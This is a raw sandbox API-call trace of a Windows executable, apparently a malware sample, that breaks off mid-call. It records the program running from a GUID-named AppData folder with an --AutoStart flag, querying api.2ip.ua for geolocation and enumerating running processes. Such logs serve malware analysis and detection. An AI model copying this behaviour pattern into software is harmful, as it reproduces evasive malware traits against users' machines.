\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0103.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18d660, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x06\xf6\x58\xa3\x9c\xd8\x18", lpUsedDefaultChar=0x0) returned 256 [0103.925] GetLastError () returned 0x0 [0103.925] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0103.925] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18cea8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0103.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18d560, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x06\xf6\x58\xa3\x9c\xd8\x18", lpUsedDefaultChar=0x0) returned 256 [0103.925] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0103.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x800) returned 0x65c728 [0103.925] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x451aa9 [0103.926] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65c478) returned 0x80 [0103.926] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65c478) returned 0x80 [0103.926] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65c478) returned 0x80 [0103.926] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65c478) returned 0x80 [0103.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x65cf30 [0103.927] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65c478) returned 0x80 [0103.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x65ab28 [0103.927] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65c478) returned 0x80 [0103.927] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65c478) returned 0x80 [0103.927] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65c478) returned 0x80 [0103.931] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65c478) returned 0x80 [0103.943] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0104.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x6516a0 [0104.179] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0119.493] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x189b60, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18c360 | out: lpBuffer=0x189b60*, lpdwNumberOfBytesRead=0x18c360*=0x1d1) returned 1 [0119.494] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0119.497] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0119.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x668c38 [0119.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1e0) returned 0x2fcaf90 [0119.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcaf90 | out: hHeap=0x5b0000) returned 1 [0119.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x668c38 | out: hHeap=0x5b0000) returned 1 [0119.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6516a0 | out: hHeap=0x5b0000) returned 1 [0119.497] GetCurrentProcess () returned 0xffffffff [0119.497] GetLastError () returned 0x2 [0119.497] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0119.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x68d6f8 [0119.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2fc1308 [0119.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x2fe2d78 [0119.497] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2fe2d78, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\34ab4241-89d8-4896-a0ef-745528a314bb\\a959.tmp.exe")) returned 0x5d [0119.497] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb") returned 1 [0119.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x2fe3580 [0119.497] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart" [0119.498] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart", pNumArgs=0x18c440 | out: pNumArgs=0x18c440) returned 0x2ff7a28*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe" [0119.498] lstrcpyW (in: lpString1=0x18d0f0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe" [0119.498] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart" [0119.498] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart", pNumArgs=0x18c3dc | out: pNumArgs=0x18c3dc) returned 0x2ff7a28*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe" [0119.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe") returned="A959.tmp.exe" [0119.499] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x75e10000 [0119.499] GetProcAddress (hModule=0x75e10000, lpProcName="EnumProcesses") returned 0x0 [0119.499] GetProcAddress (hModule=0x75e10000, lpProcName="EnumProcessModules") returned 0x0 [0119.499] GetProcAddress (hModule=0x75e10000, lpProcName="GetModuleBaseNameW") returned 0x0 [0119.499] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x77e20000 [0119.501] GetProcAddress (hModule=0x77e20000, lpProcName="EnumProcesses") returned 0x77e21544 [0119.501] GetProcAddress (hModule=0x77e20000, lpProcName="EnumProcessModules") returned 0x77e21408 [0119.501] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleBaseNameW") returned 0x77e2152c [0119.501] EnumProcesses (in: lpidProcess=0x181bd8, cb=0xa000, lpcbNeeded=0x18c3e8 | out: lpidProcess=0x181bd8, lpcbNeeded=0x18c3e8) returned 1 [0119.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0119.504] CloseHandle (hObject=0x0) returned 0 [0119.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0119.505] CloseHandle (hObject=0x0) returned 0 [0119.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0119.505] CloseHandle (hObject=0x0) returned 0 [0119.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14c) returned 0x0 [0119.505] CloseHandle (hObject=0x0) returned 0 [0119.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0119.505] CloseHandle (hObject=0x0) returned 0 [0119.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0119.505] CloseHandle (hObject=0x0) returned 0 [0119.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0119.505] CloseHandle (hObject=0x0) returned 0 [0119.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0119.505] CloseHandle (hObject=0x0) returned 0 [0119.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0119.505] CloseHandle (hObject=0x0) returned 0 [0119.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0119.505] CloseHandle (hObject=0x0) returned 0 [0119.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0119.505] CloseHandle (hObject=0x0) returned 0 [0119.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0119.505] CloseHandle (hObject=0x0) returned 0 [0119.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c8) returned 0x0 [0119.505] CloseHandle (hObject=0x0) returned 0 [0119.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x33c) returned 0x0 [0119.506] CloseHandle (hObject=0x0) returned 0 [0119.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x374) returned 0x0 [0119.506] CloseHandle (hObject=0x0) returned 0 [0119.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x0 [0119.506] CloseHandle (hObject=0x0) returned 0 [0119.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf0) returned 0x0 [0119.506] CloseHandle (hObject=0x0) returned 0 [0119.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x110) returned 0x59c [0119.506] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0119.506] CloseHandle (hObject=0x59c) returned 1 [0119.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x37c) returned 0x59c [0119.506] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0119.506] CloseHandle (hObject=0x59c) returned 1 [0119.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x41c) returned 0x59c [0119.507] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0119.507] CloseHandle (hObject=0x59c) returned 1 [0119.507] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x454) returned 0x0 [0119.507] CloseHandle (hObject=0x0) returned 0 [0119.507] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x59c [0119.507] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0119.508] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x400000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="A959.tmp.exe") returned 0xc [0119.508] CloseHandle (hObject=0x59c) returned 1 [0119.508] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x514) returned 0x59c [0119.508] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0119.509] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x400000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0119.509] CloseHandle (hObject=0x59c) returned 1 [0119.509] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x524) returned 0x0 [0119.509] CloseHandle (hObject=0x0) returned 0 [0119.510] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x560) returned 0x59c [0119.510] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0119.510] CloseHandle (hObject=0x59c) returned 1 [0119.510] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x574) returned 0x0 [0119.510] CloseHandle (hObject=0x0) returned 0 [0119.510] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x450) returned 0x59c [0119.510] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0119.510] CloseHandle (hObject=0x59c) returned 1 [0119.510] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x268) returned 0x59c [0119.510] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0119.510] CloseHandle (hObject=0x59c) returned 1 [0119.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x6656b8 [0119.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x68dc88 [0119.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2fedff8 [0119.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2fdf868 [0119.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x690168 [0119.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x6903d0 [0119.510] RtlAllocateHeap (HeapHandle=0x5b0000, 